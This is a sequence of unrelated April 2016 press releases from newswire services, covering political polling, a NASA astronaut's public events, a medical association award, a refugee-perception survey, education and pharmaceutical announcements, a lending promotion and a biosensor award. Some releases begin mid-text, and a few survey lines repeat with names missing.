4/17 - Do you think a President Trump could negotiate peace between Israel and Palestine ? Yes - 78% No - 22%

4/18 - Do you think that Saudi Arabia was involved in the 9/11 terror attacks? Yes - 36% No - 14% Not Sure - 50%

4/19 - Do you feel empowered as a voter? Yes - 38% No - 62%

4/20 - In a general election, which candidate would you vote for? Hillary Clinton - 61% Donald Trump - 39%



Perhaps the most interesting data came on Thursday after the significant victories by Hillary Clinton and Donald Trump in Tuesday's New York primaries. 34% of self-identified democrats that support Sen. Bernie Sanders would vote for Donald Trump in a general election of Trump v Clinton.

"Being able to cross tabulate data to see how voters' perceptions are evolving is really neat. Within seconds of asking a question, DebateRate has the answer from the voters themselves."

The DebateRate mobile app is available in the Apple App Store as well as Google Play. The realtime results are available on KDG's website.

About KDG: KDG is a high-tech consulting firm headquartered in Lehigh Valley, PA with satellite offices in Washington, D.C. The firm focuses on developing realtime software, websites, and mobile apps for higher education, nonprofit, and closely held private businesses. DebateRate was a rapid application development project from the firm's nonprofit mobile app development group. www.kyledavidgroup.com

About HCD Research: HCD Research is a marketing and consumer sciences company that provides expert recommendations by employing traditional and applied consumer neuroscience to optimize the design of market research projects for our clients. www.hcdi.net

This content was issued through the press release distribution service at Newswire.com. For more info visit: http://www.newswire.com

SOURCE The Kyle David Group

Related Links

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WASHINGTON, April 21, 2016 /PRNewswire-USNewswire/ -- NASA astronaut Kjell Lindgren, who lived and worked nearly five months on the International Space Station as a flight engineer, will make multiple appearances across Washington April 25-29 to share highlights from his 141-day mission in space.

While in the nation's Capital, he will make a public presentation in the Moving Beyond Earth Gallery at the National Air and Space Museum, throw out the first pitch at a Washington Nationals ballgame, participate in multiple live social media events, and meet members of the public on the Mall at the Sylvan Theater.

Monday, April 25

11 a.m. - 12 p.m. EDT

As part of National DNA Day, Lindgren will be one of the NASA participants in a Reddit Ask Me Anything to discuss some of the ongoing medical studies related to human spaceflight. Join the discussion at: https://www.reddit.com/r/AMA/

Tuesday, April 26

11 a.m. - 12 p.m.

Smithsonian National Air and Space Museum, 600 Independence Ave SW, Washington

Lindgren will participate in a public presentation in the Moving Beyond Earth Gallery at the museum. He will share a crew video and participate in a Q&A session.

3 p.m.  4 p.m.

Lindgren will participate in a Facebook Live event for a Q&A session. Join the conversation online: www.facebook.com/nasa

6:45 p.m.

Nationals Park, 1500 S Capitol St SE, Washington

Lindgren will throw out the first pitch at the Washington Nationals game versus the Philadelphia Phillies. Game time is at 7:05 p.m.

Wednesday, April 27

12:30 p.m. - 1:30 p.m.

Washington Monument, National Mall, Washington

During a public event on the Mall at the Sylvan Theater, Lindgren will meet with an education specialist and fourth grade class on a field trip to the nation's Capital. Lindgren will speak to the students and be available for a Q&A with members of the public.

Media interested in covering Lindgren's visit should contact Cheryl Warner at 202-358-1100.

Lindgren lived aboard the orbiting laboratory from July 23 through Dec. 11, 2015 and served as a crew member for Expeditions 44 and 45. He performed numerous science experiments including research into human physiology, fluid and combustion physics, Earth and space science, and technology development. He worked on the "Veggie" investigation, which included the opportunity to be one of the first to eat lettuce grown in space. Lindgren conducted two spacewalks in late 2015 with former NASA astronaut Scott Kelly. During the first, Lindgren installed a thermal cover on the Alpha Magnetic Spectrometer, which looks for high-energy radiation emanating from deep space. The second focused on maintenance of the station's external thermal control systems.

Follow Lindgren on Twitter:

www.twitter.com/astro_kjell

For more information on the International Space Station, visit:

http://www.nasa.gov/station

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SOURCE NASA

Related Links

http://www.nasa.gov


WASHINGTON, April 22, 2016 /PRNewswire-USNewswire/ -- The National Hispanic Medical Association (NHMA) today announced Centene Corporation as the recipient of its Hispanic Health Leadership Award. Centene is the first managed healthcare organization to be recognized with this award. The award will be presented at the National Hispanic Medical Association/Hispanic Dental Association's Joint Annual Conference on April 23 in Washington, D.C.

The National Hispanic Medical Association represents more than 50,000 practicing Hispanic physicians across the United States. The organization has played a key role in advancing health equity, promoting high quality care and developing strategies to address critical shortages in the healthcare workforce.

"NHMA is proud to recognize Centene as the recipient of the Hispanic Health Leadership Award," said Dr. Elena Rios, President of NHMA. "As a healthcare leader, Centene has demonstrated its commitment to transforming the health of our communities. The award recognizes the company's national initiatives and its local approach to bringing quality health programs and services to millions of individuals across the nation."

Founded as a single health plan in 1984, Centene provides a range of healthcare programs for under-insured and uninsured individuals. In addition, Centene provides specialty services that range from behavioral health to vision and dental benefits management, in-home healthcare and other health services. Headquartered in St. Louis, Missouri, Centene has business operations across 24 states and over 25,000 employees.

"We are appreciative of this special recognition from the National Hispanic Medical Association. It challenges us to continue to do what we do best, improve health outcomes for those we serve, thereby strengthening our communities," said Michael F. Neidorff, Centene's Chairman, President and CEO.

About National Hispanic Medical Association:

Established in 1994 in Washington, DC, the National Hispanic Medical Association is a non-profit association representing the interests of 50,000 licensed Hispanic physicians in the United States. Its mission is to empower Hispanic physicians to lead efforts to improve the health of Hispanic and other underserved populations in collaboration with Hispanic state medical societies, residents, and medical students, and other public and private sector partners.

SOURCE National Hispanic Medical Association
YEREVAN, Armenia, April 22, 2016 /PRNewswire-USNewswire/ -- Today, the Aurora Prize for Awakening Humanity unveiled the results of the first annual Humanitarian Index, a global study of the top humanitarian issues, their causes and who is best positioned to address them, at the Aurora Dialogues conference in Yerevan, Armenia. The 4,600 respondents in the U.S., U.K., France, Germany, Lebanon and Iran all cited terrorism as the number one most pressing humanitarian challenge now and for the next five years, followed by forced migration.

The research reveals a gulf between perception and reality on a number of fronts with American, British and French publics underestimating the number of Syrian refugees by staggering amounts (4.7 million, 4.5 million and 4.5 million respectively). Americans are similarly out of step with the rest of the world in their overall concern for forced migration, ranking it a distant seventh among the list of the world's most pressing humanitarian challenges.

On the issue of forced migration, many Western publics believe their governments have done more than enough to offer refuge to those in need. The U.S. public believes their country has taken three times as many Syrian refugees as they actually have. In France and Germany, estimates of the number of Syrians given asylum due to conflict are five times greater than the actual figures.

"The global refugee crisis will only get worse unless world leaders agree to better coordinated and principled action, and are buttressed by a better-informed public awareness of its true causes and dimensions," commented Jean-Marie Guehenno, President of the International Crisis Group, an independent conflict-prevention organization. "Frontline states taking in refugees from neighboring wars are overwhelmed by the economic, social, human rights, political and security implications of rapid, massive influxes of people. Any failure to address the situation risks further conflict, triggering further refugee flows and increasing the scale of the humanitarian tragedy. Ultimately, any credible response to the crisis must address its principal driveran upsurge in wars."

The Humanitarian Index demonstrates the existence of a "compassion gap"a large imbalance between what people say and feel versus what they would be willing to do. One in two respondents feel that refugees have been abandoned by the international community, and the vast majority agree that refugees deserve help. However, only one in two would actually help Syrian refugees if they could, and most doubt their ability to make a real difference.

"What this report highlights is the urgent need to inform the public of the global refugee crisis; the defining humanitarian challenge of our time. A passionate and mobilized public is critical to both ensuring support for the investment necessary to alleviate human suffering and also to hold political leadership accountable for tackling the root causes of the crisis," said Dominic MacSorley, Chief Executive Officer of Concern Worldwide, a charity that works with the world's poorest people to transform their lives.

Misinformation and cynicism dominate public perceptions about refugees, with the majority of the public confusing refugees with economic and other types of migrants. In Western countries, nearly the same number of people believe that asylum seekers move for aspirational reasons as those who believe they are doing so to escape conflict (63% and 70% respectively).

The research also uncovers some of the triggers that spur people to take action. Twenty-seven percent of those who have been compelled to take action on behalf of refugees have largely done so after hearing about a personal story and there is an overwhelming curiosity (close to 40%) to discover more stories about real individuals.

A number of other key findings were uncovered including:

The public disproportionately associates the global refugee crisis with the situation in Syria , demonstrating ignorance of other refugee crises including Myanmar , Sudan and the Democratic Republic of the Congo .

, demonstrating ignorance of other refugee crises including , and the . The majority of respondents believe that international institutions are best placed to solve the refugee crisis, yet half feel refugees have been abandoned by the international community.

When it comes to identifying international leaders most capable of managing the Syrian crisis, Barack Obama (46%) and Angela Merkel (46%) score the highest, followed by Vladimir Putin (33%) and David Cameron (28%) with Hillary Clinton (17%) and Donald Trump (9%) trailing far behind.

(46%) and (46%) score the highest, followed by Vladimir Putin (33%) and (28%) with (17%) and (9%) trailing far behind. The public feels compassion for refugees, but only half would help Syrian refugees if they could, and most question their ability to make a real difference.

The findings will be presented at the Aurora Dialoguesa global gathering of the humanitarian community in Yerevan, Armenia on April 23 , 2016and in conjunction with the announcement of the first Aurora Prize Laureate.

"What is encouraging is that the research shows that although individuals might struggle to turn compassion into action, the public realizes that those humanitarians who do intervene on behalf of others can have a tremendous impact," said Vartan Gregorian, President of the Carnegie Corporation of New York, Co-Founder of 100 LIVES and a member of the Aurora Prize Selection Committee. "The Aurora Prize is about recognizing and celebrating these individuals for risking it all for the sake of others. By showing the impact one person's actions can have, it is our hope that others will be compelled to act, too."

NOTES TO EDITORS

Other findings from the Humanitarian Index include:

Syria has become synonymous with the global refugee crisis

Globally, the public believes Syria is the country from which the most refugees have fled over the last decade. However, the public is not aware of the high volumes of refugees originating from various countries across Africa and Asia .

is the country from which the most refugees have fled over the last decade. However, the public is not aware of the high volumes of refugees originating from various countries across and . Despite more than one million refugees coming from Sudan and South Sudan combined, only 8% of the public recognize the scale of the humanitarian crisis in South Sudan .

and combined, only 8% of the public recognize the scale of the humanitarian crisis in . One in five Americans incorrectly pinpoint Mexico as the highest source of refugees globally, while Britain and France both overestimate the volume of refugees coming from Libya .

Safe refuge and scale of the crisis

The public underplays the role of neighboring countries in taking refugees. Only 15% correctly identify Turkey as the country with the highest intake of refugees globally, and only 2% recognize Pakistan's role in offering safe refuge.

as the country with the highest intake of refugees globally, and only 2% recognize role in offering safe refuge. In contrast, the public exaggerates the number of Syrian refugees their country has hosted. Both French and German publics overstate the volume of refugees taken in by their respective countries by a factor of five[1].

Leadership vacuum

Global publics overwhelmingly agree (70%) that it is down to international bodies to resolve the global refugee crisis, yet one in two believe the international community has turned its back on Syrians.

The international leadership vacuum extends as far as world leaders who, according to respondents, are failing to adequately address the Syrian crisis. There is general agreement across all those surveyed that the top three leaders deemed most capable of addressing the crisis are Angela Merkel , Barack Obama and Vladimir Putin. This means that the French have placed more faith in Angela Merkel than Francois Hollande (51% vs. 36% respectively) and the British believe Merkel is just as capable as David Cameron (41% vs.39%, respectively) to address the crisis.

, and Vladimir Putin. This means that the French have placed more faith in than Francois Hollande (51% vs. 36% respectively) and the British believe Merkel is just as capable as (41% vs.39%, respectively) to address the crisis. United Nations Secretary General Ban Ki -moon scored well in Lebanon (39%) and Iran (37%), but U.S. presidential hopefuls Hillary Clinton (23%) and Donald Trump (16%) fell way behind other world leaders amongst American audiences.

Helping is a badge of honor

Despite inertia and cynicism, the public sees helping as a badge of honor. Seventy-one percent of the public have great respect for individuals who travel to conflict areas to deliver humanitarian aid and 69% believe it takes great courage for aid workers to deliver humanitarian assistance to the people who need it most, despite risks to themselves. As they assess their personal sense of responsibility, 49% of those who have abstained from taking action have done so due to concerns about how their monetary contribution will be used.

The public are generally aligned on what it would take to foster further action: A clear sense of individual responsibility to help Transparency with regard to the use of donations Creating a global community that rewards those delivering humanitarian aid



About the Aurora Prize Humanitarian Index:

The research was commissioned by the Aurora Prize and conducted by Edelman Intelligence between March and April 2016. Interviews with 4,600 individuals were conducted online across six countries, France, Germany, Iran, Lebanon, U.K., and U.S. The sample was representative of the general population in terms of age, gender and location in the U.S., U.K., France and Germany. It was representative of the online population in Lebanon and Iran; meaning the sample in those countries over-represents educated men.

About the Aurora Prize for Awakening Humanity

Recipients will be recognized for the exceptional impact their actions have made on preserving human life and advancing humanitarian causes. On behalf of the survivors of the Armenian Genocide and in gratitude to their saviors, an Aurora Prize Laureate will be honored each year with a US$100,000 grant as well as the unique opportunity to continue the cycle of giving by nominating organizations that inspired their work for a US$1,000,000 award.

The Aurora Prize Selection Committee includes Nobel Laureates Elie Wiesel, Oscar Arias, Shirin Ebadi and Leymah Gbowee; former President of Ireland Mary Robinson; human rights activist Hina Jilani; former Australian Foreign Minister and President Emeritus of the International Crisis Group Gareth Evans; President of the Carnegie Corporation of New York Vartan Gregorian; and Academy Award-winning actor and humanitarian George Clooney.

The Aurora Prize will be awarded annually on April 24 in Yerevan, Armenia.

Further information is available at www.auroraprize.com.

About Edelman Intelligence:

Edelman Intelligence is a global, full-service market insights and analytics firm that provides corporate, non-profit and government clients with strategic intelligence to make their communications and engagements with stakeholders the smartest they can be. The firm specializes in measurement, tracking and analysis in reputation, branding and communications. Edelman Intelligence is part of Edelman, the world's largest public relations company. Edelman Intelligence has more than 200 employees and 12 offices around the world.

[1]French and German publics believe they have hosted 20,000 and 500,000 respectively. The actual figures are 4,000 and 105,000 respectively.

Media Contacts: [email protected]

Photography and videos for media use: http://auroraprizemedia.com



SOURCE Aurora Prize for Awakening Humanity

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JERSEY CITY, N.J., April 21, 2016 /PRNewswire/ -- Two New Jersey City University (NJCU) professors and an NJCU doctoral student have collaborated on Drones in Education: Let Your Students' Imaginations Soar, a book for educators that details the benefits of introducing the use of drones into the curriculum as a tool for improving student engagement and provides the start-up information teachers need to get a drone program "off the ground."

The authors, Dr. Christopher D. Carnahan, NJCU doctoral program coordinator and assistant professor of Educational Technology, and Dr. Laura Zieger, professor and chairperson in the NJCU Department of Educational Technology, collaborated on the book with Kimberly Crowley, an NJCU doctoral student in Educational Technology Leadership, who is a district mathematics supervisor for a large urban school district in New Jersey.

Drones in Education: Let Your Students' Imaginations Soar, published by the International Society for Technology in Education, is a valuable resource, providing teachers with everything they need to know about using drones in the classroom. The book is complete with lesson plans, real-world applications, and tips on securing funding for drones.

The authors have found that the use of drones in instructional activities allows students to have concrete examples of how STEM (Science, Technology, Engineering and Mathematics) concepts are applied and utilized in the real world. Because drones hold students' attention and engage them in an activity, the students are able to apply and master skills that they learned during instruction.

About the Authors

Dr. Carnahan researches and provides professional development on implementing innovative technologies such as drones, robotics, and virtual learning environments to improve student engagement and achievement. To learn more about his work visit www.cdcarnahan.com

Dr. Zieger's research and instructional interests include online community-building, transformation of learning with emerging technologies including robotics, immersive virtual environments and drones, and social computing applications in education.

Ms. Crowley encourages implementation of STEM and STEAM initiatives within her school district. Her goal is to guide administrators and teachers to use technology as part of project-based learning as a way to improve student engagement.

For more about Drones in Education visit www.Iste.org/drones.

For more about NJCU visit http://www.njcu.edu/about.

SOURCE New Jersey City University

Related Links

http://www.njcu.edu


NEW YORK, April 22, 2016 /PRNewswire-USNewswire/ -- The Peruvian-American Bondholders for Justice (PABJ) demands answers from Peruvian President Ollanta Humala regarding Peru's default on agrarian reform bonds while he attends a special session of the United Nations General Assembly in New York, NY.

The call for answers comes as prosecutors in Peru have obtained indisputable evidence that the Constitutional Tribunal's July 2013 decision relating to the agrarian reform bonds was illegally forged with white out. Please visit PeruBonds.org for a copy of the police forensic report, which illustrates the multiple forgeries.

As a result, the Constitutional Tribunal's court clerk, Oscar Diaz, has been charged with falsification of court documents and other crimes. The criminal investigation continues.

Of the six justices presiding over the 2013 Constitutional Tribunal decision, two (Carlos Mesia Ramirez and Gerardo Eto Cruz) have filed separate criminal complaints alleging forgery and a third justice (Fernando Calle Hayden) has publicly denounced the court's decision as a "crime."

PABJ demands answers from President Humala regarding the following questions:

How can Peru possibly rely on a decision from its highest court that has been forged with white out and subject to a criminal proceeding? Is it true that Peru's current process for the agrarian reform bonds requires bondholders to waive all their rights at inception without knowing the amount they will receive? And further, that the process allows the government to delay payment by at least seven years and then elect not to pay at all if the government believes payment will affect the budget? What is the amount that Peru is offering bondholders under its current flawed process? How does Peru officially account for the agrarian reform bonds in its official debt statistics? How is Peru's failure to honor the agrarian reform bonds not a selective default?

Contact Information:

John Anderson

[email protected]

SOURCE Peruvian-American Bondholders for Justice (PABJ)

Related Links

http://perubonds.org


NAPERVILLE, Ill., April 22, 2016 /PRNewswire/ -- Pharmazz, Inc. is a clinical-stage company developing innovative therapeutics in the area of critical care medicine. The company announced that a Notice of Issuance was received from the China Patent Office, for the patent application regarding composition and methods of use for treating diabetic ketoacidosis (DKA). Pharmazz has exclusive global rights of this technology from Midwestern University with following issued patents: Japanese Patent Application No. 2012-508762; United States Patent No. 8,980,874; European Patent No. EP2424530; Australian Patent No. 61/174,283; China patent application No. 201080030271.1. The patent issued includes the Company's lead clinical candidate, PMZ-2123, which is currently being developed as an injectable preparation for the treatment of DKA. Pharmazz had a pre-IND meeting with US FDA for phase II clinical studies on PMZ-2123.

"We are pleased to have been granted this Notice of Issuance from the China Patent Office," said Dr. Anil Gulati, Inventor and founder of Pharmazz. He added that, "This patent protection further strengthens the company's position to generate business and commercial development opportunities and is a step closer towards better treatment for DKA patients."

About Diabetic Ketoacidosis (DKA)

DKA is the most serious acute complication of type 1 diabetes resulting in hospitalization with a mortality rate of 0.15 to 0.3% and escalates the diabetes related costs up to 3.6 folds compared to diabetic patients without DKA. Patients with type 2 diabetes getting DKA are also on the rise. In a rat model of DKA PMZ-2123 (BQ-123; selective ETA receptor antagonist) rapidly normalizes the blood ketone levels, improves arterial blood pH and prevents insulin induced increase in cerebral perfusion. High levels of ketone can be dangerously harmful to the body; PMZ-2123 when used with insulin can rapidly lower the blood ketone levels. PMZ-2123 has been extensively used in clinical studies without any serious adverse effects.

About Pharmazz, Inc.

Pharmazz, Inc. is a privately-held company engaged in the development of novel products in the area of critical care medicine. Pharmazz is developing PMZ-2010 (centhaquin) as a resuscitative agent having a unique property of increasing blood pressure and cardiac output, and decreasing vascular resistance in hypovolemic shock. The company successfully completed human Phase I study of PMZ-2010 (NCT02408731; CTRI/2014/06/004647). A pre-IND meeting for phase II clinical studies was held with US FDA and Pharmazz is completing the required regulatory studies. Patents titled "Novel therapeutic treatments using centhaquin" have been issued: Australia Patent No. 2010241564; Japan Patent No. 5498571 and 5727642; China Patent No. 201080029672.5. In addition, the company is developing PMZ-1620 which is a neuroregenerative agent that produces neurogenesis and angiogenesis in the damaged area of the brain by stimulating endogenous regenerative mechanisms. US patent titled "Methods for treatment of stroke or cerebrovascular accidents using IRL-1620" US Patent No. 8,623,823 has been issued. China patent titled "Compositions for the treatment of stroke or cerebrovascular accidents with an endothelin B receptor agonist" China patent No. ZL 2008 8 0113425.6 and European Patent Number EP2182977 have been issued. Potential indications of this product can be for the treatment of stroke, Alzheimer's disease, ALS, spinal cord injuries etc.

We welcome ideas and proposals for strategic alliances, including in- and out-licensing opportunities. Additional information may be found on the Company's website, www.pharmazz.com.

Forward-Looking Statements

This press release contains "forward-looking statements" within the meaning of the "safe harbor" provisions of the Private Securities Litigation Reform Act of 1995. Forward-looking statements are projections of events, revenues, income, future economic, research, development, reformulation, product performance or management's plans and objectives for future operations. In some cases you can identify forward-looking statements by the use of terminology such as "may", "should", "anticipates", "believes", "expects", "intends", "forecasts", "plans", "future", "strategy", or words of similar meaning. Forward-looking statements in this presentation include statements about the product(s) Pharmazz, Inc. owns, may own, license, co-promote, co-develop, co-market or otherwise enter into an arrangement with other parties. While these forward-looking statements and any assumptions upon which they are based are made in good faith and reflect current judgment regarding the direction of the business operations of Pharmazz, Inc. actual results will almost always vary, sometimes materially, from any estimates, predictions, projections, assumptions or other future performance suggested in this presentation. These statements are predictions and involve known and unknown risks, uncertainties and other factors, including the risk that Pharmazz, Inc. cannot execute its business plan for lack of capital or other resources, distribution, partnering or licensing/acquisition opportunities. Any of these risks could cause Pharmazz, Inc. or its industry's, actual results, levels of activity, performance or achievements to be materially different from those expressed or implied by the forward-looking statements in this presentation. Except as required by applicable law Pharmazz, Inc. does not intend to update any of the forward-looking statements to conform these statements to actual results.

Contact

Pharmazz, Inc.

Shruti Gulati

630-780-6087

[email protected]

SOURCE Pharmazz, Inc.

Related Links

http://www.pharmazz.com


Whether it is pledging to recycle at home, using reusable grocery bags or carpooling to work, it can be easy to implement eco-focused practices like these to help the environment. Other simple tasks could include: turning off the lights each time you leave a room, cut up the plastic rings 6 pack rings before throwing them out, or using a refillable water bottle instead of plastic water bottles.

Pilot encourages its fans to (1) select and write down their Green Goal, a small change to help write the next chapter for a cleaner planet, (2) take a picture of the goal and (3) post it to social media using #GreenGoal and tagging Pilot Pen (@PilotPenUSA). The top five posts will win eco-friendly prizes, including a reusable grocery bag, recycled notebook and Pilot's B2P pens.

"You don't need grand plans or gestures to have a positive impact on the environment. Small changes executed every day make a big difference," said Ariann Langsam, Director of Marketing. "At Pilot, we hope to help others write the next chapter for a greener future through our B2P and BeGreen product lines and by having them join us on Earth Day in setting a Green Goal."

As a company, Pilot is committed to creating earth friendly options for writing instruments through the BeGreen and B2P (Bottle-to-Pen) line of pens. B2P is the world's first family of pens made from recycled bottles. Approximately 2.5 million plastic bottles enter landfills every hour, and comprise close to 50% of all recyclable waste. Not only are B2P gel ink pens and B2P ballpoint pens made from 89% and 83% recycled plastic bottles respectively, but they also have a unique water bottle inspired barrel design. All of Pilot's B2P pens write smoothly, have vibrant inks are and are 100% refillable. Pilot's B2P can be found at office supply stores, major retailers like Walmart or online at Amazon.com/Pilot. Keep up with Pilot's Earth Day initiatives at Facebook.com/PilotPen, @PilotPenUSA on Instagram and Twitter, and #GreenGoal, and encourage others to share their #GreenGoal this Earth Day.

ABOUT PILOT CORPORATION OF AMERICA

Pilot Pen offers superlative writing instruments renowned for quality, performance, cutting-edge technology and consumer satisfaction. Widely acknowledged as innovators, Pilot was first to introduce Americans to fine-point writing, currently maintaining the top share position in the gel and rolling ball pen categories. Pilot's line also includes the acclaimed Dr. Grip family of products featuring an ergonomic, wide comfort grip that reduces writing fatigue, as well as the notable Precise V5 and G2 lines. Pilot Pen manufactures and distributes from its state-of-the-art facility in Jacksonville, Florida; its parent company is the oldest and largest manufacturer of writing instruments in Japan. For more: www.pilotpen.us.

For More Media Information:

Emily Oliver /Ivette Faulkner

Bright red  850.668.6824

[email protected]

[email protected]

Photo - http://photos.prnewswire.com/prnh/20160422/358752

SOURCE Pilot Corporation of America

Related Links

http://www.pilotpen.us


Claremont Nursing and Rehabilitation Center Administrator Raymond Soto has decided to resign from his position.

Soto, who joined Claremont in August 2015, said he had taken a new position in the Langhorne area. He said the decision was mainly a matter of geography and not due to issues from within the business.

My wife is an optometrist in New Jersey, Soto said. She had been trying to get her license in Pennsylvania, but in order to do that, she would have to retake the third part of a test that she took 20 years ago. It is a state rule (in Pennsylvania). So this (decision) is purely based on geography.

Soto said that the state standards were adopted just two years after his wife graduated from optometry school.

If I could move Claremont (to New Jersey) I absolutely would, Soto said. It was a wonderful place to work at with a lot of great people. I will miss it.

We wish (Soto) the best and thank him for his service, said Cumberland County Chief Clerk Larry Thomas. I think he has helped improve things at the nursing home.
MIAMI, April 22, 2016 /PRNewswire/ -- Platinum Lending has announced today that it will be offering suite of secured and unsecured loans geared toward credit-challenged and underbanked consumers who cannot obtain loans from traditional lenders. These loan types include title loans, registration loans, flex loans, installment loans, payday loans, student loans, and small business loans.



The matching technology behind Platinum Lending is one of its key features: The prospective borrower simply needs to fill out a quick form via Platinum Lending.com, and then they are provided with estimate of how much money they can borrow based on Platinum Lending's algorithms. There is no cost to apply.



One of Platinum Lending's primary offerings are vehicle title loans. A vehicle title loan is a secured loan which uses a car's Kelley Blue Book value as collateral. The loan amount is determined by the vehicle's market value and can be in excess of $50K. Registration loans are similar to title loans, the key difference being that the car need not be fully paid off for individuals to qualify.



The borrower receives a free no-obligation consultation by phone with a Platinum Lending loan expert. They will be matched to a loan office in their neighborhood where they can obtain their funds in as little as one business day, sometimes within a few hours on the same day they apply.



"Simplicity and convenience characterize the Platinum Lending process," said Platinum Lending Public Relations Director Douglas Gross. "All the paperwork is handled beforehand, and because credit history checks are never performed, the paperwork is limited - a major boon to applicants who require funding quickly."



With Platinum Lending's title and registration loans, borrowers are allowed to maintain possession of their vehicle during the term of the loan. And because the loan is secured by the vehicle title, credit checks are never performed, which makes title loans popular with individuals who have limited or substandard credit histories.



"We believe in fairness and transparency," Gross explained. "We understand individuals often require money quickly. Here at Platinum Lending, we are committed to our clients' financial well-being and the ease and speed of the title loan transaction," he added.



For more information or to apply for a loan, visit PlatinumLendingLTD.com.



Platinum Lending is a nationwide alternative lending solution. As professional lenders, we are here to provide you with a type of loan that it would be used as a tool to achieve your both short and long-term financial goals and eventually lead you to the creation of wealth.

This press release was issued through 24-7PressRelease.com. For further information, visit http://www.24-7pressrelease.com.

SOURCE Platinum Lending

Related Links

http://www.platinumlending.com


NEW YORK, April 22, 2016 /PRNewswire/ -- Profusa, Inc., based in South San Francisco, Calif., today announced that it was the recipient of the 2016 Edison Silver Award in the Health and Wellness  Wearable and Sensors category for innovative design and technology. The company received the prestigious award for its tissue-integrating biosensors that enable long-term continuous monitoring of body chemistry for the management of personal health and disease. The award was given last night at the black-tie Edison Awards Gala held at New York's historic Capitale ballroom.

The Edison Awards honor excellence in new product and service development, marketing, design, and innovation. Named for famed innovator Thomas Alva Edison, who achieved vast notoriety with 1,093 U.S. patents  the program annually honors the best in innovations and innovators. The Edison Award is one of the most prestigious accolades a company can receive for innovation and business success. The nominees for the Edison Awards were judged by a panel of over 3,000 business executives, including past award winners, academics, and leaders in the fields of design, engineering, science, and medicine.

"On behalf of all our dedicated employees, investors, and board of directors, we are honored to receive this award of distinction from the Edison Awards judging committee," said Ben Hwang, Ph.D., Profusa's chairman and chief executive officer. "And a special thanks to Scot Herbst of Herbst Produkt for their elegant mix of design and science to make the Lumee Oxygen Sensing System a reality. This award serves to further our commitment to developing transformative technology and products that improve the quality of life for people in health and disease."

Tissue-integrating Biosensors

Profusa is developing biosensors that provide immediate, actionable information to individuals, physicians, caregivers, and health practitioners. Its novel bioengineering approach overcomes the largest hurdle in long-term use of biosensors to access biochemical information in the body: the foreign body response. Placed under the skin with a specially designed injector, each tiny biosensor is a flexible fiber, 3-5 mm long and approximately 500 microns in diameter. Rather than being isolated from the body, Profusa's biosensors work fully integrated within the body's tissue  without any metal device or electronics  while overcoming the effects of the foreign body response for up to two years.

Each biosensor is comprised of a bioengineered "smart hydrogel" (similar to contact lens material) forming a porous, tissue-integrating scaffold that induces capillary and cellular in-growth from surrounding tissue. The smart gel is linked to a light-emitting molecule that continuously signals the presence of a body chemical such as oxygen, glucose, or other biomarker.

Optical Reader

A separate optical reader adhered to the skin is used to read the fluorescent signal from the embedded biosensor. The reader sends excitation signals through the skin to the biosensor, which then emits fluorescent light proportional to the concentration of molecules of interest. The data is relayed to a smart phone for an encrypted personal record and historical tracking. Data can be shared securely via HIPAA-compliant digital networks with healthcare providers.

Lumee Oxygen Sensing System

Profusa's first medical product, the Lumee Oxygen Sensing System, is aimed at being the only long-term monitoring technology that directly measures tissue oxygen levels, helping to determine if sufficient tissue oxygen persists throughout the treatment and healing process in vascular interventions or in wounds. Taking as much as a year to heal, if at all, chronic wounds from diabetic ulcers, pressure sores, and reconstructive surgery take a financial toll on patients and the healthcare system.

Oxygen monitoring of localized tissues after surgical repair of blood vessels is an unmet medical need in the treatment of peripheral artery disease (PAD). Characterized by the buildup of arterial plaque and decreased tissue oxygen, as the disease advances patients with PAD can experience significant leg pain with impaired mobility (claudication), and in its most severe form, critical limb ischemia (CLI), gangrene and limb amputation. PAD affects 202 million people worldwide, 27 million of whom live in Europe and North America, with an annual economic burden of more than $74 billion in the U.S. alone.

Herbst Produkt

Herbst Produkt is a multi-disciplinary design studio with offices in the San Francisco Bay Area and Chicago. Since 1964 Herbst has been developing products and innovating across the consumer and medical technology landscape and has received numerous awards for their distinctive work. For more information visit http://www.herbstprodukt.com

About the Edison Awards

The Edison Awards is a program conducted by Edison Universe, a non-profit, 501(c)(3) organization dedicated to fostering future innovators. The Awards have been recognizing and honoring the best in innovations and innovators since 1987. They honor game-changing innovations that are at the forefront of new product and service development, marketing and human-centered design, and are one of the highest accolades a company can receive in the name of successful innovation. For more information visit www.edisonawards.com

Profusa, Inc.

Profusa, Inc. is leading the development of a new generation of tissue-integrated sensors that empowers an individual with the ability to monitor their unique body chemistry in unprecedented ways to transform the management of personal health and disease. Overcoming the body's response to foreign material for long-term use, its technology promises to be the foundational platform of real-time biochemical detection through the development of tiny bioengineered sensors that become one with the body to detect and continuously transmit actionable, medical-grade data for personal and medical use. For more information see http://www.profusa.com

Logo - http://photos.prnewswire.com/prnh/20151215/296354LOGO

SOURCE Profusa, Inc.

Related Links

http://www.profusa.com


Dr. Xu was the foremost scientific researcher and proponent of Human Body Regenerative Restoration Science. Among those paying their respects to the memory of Dr. Xu were California state and local government dignitaries and representatives of the University of Southern California Davis School of Gerontology and California State University at Los Angeles. In addition, U.S. President Barack Obama sent a commemorative painting to acknowledge Dr. Xu's scientific and humanitarian contributions.

Last year, upon being advised of Dr. Xu's passing, US President Barack Obama sent a handwritten condolence letter, by express mail, to the burial ceremony. Moreover, letters of condolence were sent by former President Bill Clinton, Debbie Wasserman-Schultz, Chairman of Democratic Party, California Governor Jerry Brown, County of Los Angeles and City of Lake Elsinore officials. The Los Angeles County Board of Supervisors adjourned their meeting to pay tribute and reverence.

One year later, April 14, 2016, the site dedication ceremony of the Rongxiang Xu Memorial Center was held in the city of Lake Elsinore. U.S. Congressional representative Ted W. Lieu, on behalf of the U.S. Congress, awarded the Certificate of Congressional Recognition to the National Rongxiang Xu Foundation. It recognized their continuing contributions and humanitarian efforts in providing care, healing and the application of Human Body Regenerative Restoration Science to people around the world.

For carrying forward Dr. Xu's legacy recognized by both the US and China, in September of 2015, Kevin Xu attended the Third Governors Forum held during the state visit of Chinese President Xi Jinping to the US in Seattle, WA; Kevin Xu attended the 10th annual conference of CGI and launched the first Chinese medical technology commitment to train doctors on Moist Exposed Burn Therapy (MEBT); The Rongxiang Xu Center for Regenerative Life Science at USC Davis School of Gerontology and the Los Angeles County Department of Health signed the Memorandum of Understanding on MEBT training in the US; In February of 2016, Kevin Xu met with Xiaolin Li, President of the Chinese People's Association for Friendship with Foreign Countries (CPAFFC) and reached an agreement to partner with the China Partnership Network of UN program "Every Woman, Every Child" led by CPAFFC, contributing to improving the health conditions of Chinese and international woman and children.

www.rxxf.org

Photo - http://photos.prnewswire.com/prnh/20160422/358989

SOURCE Rongxiang Xu Foundation

Related Links

http://www.rxxf.org


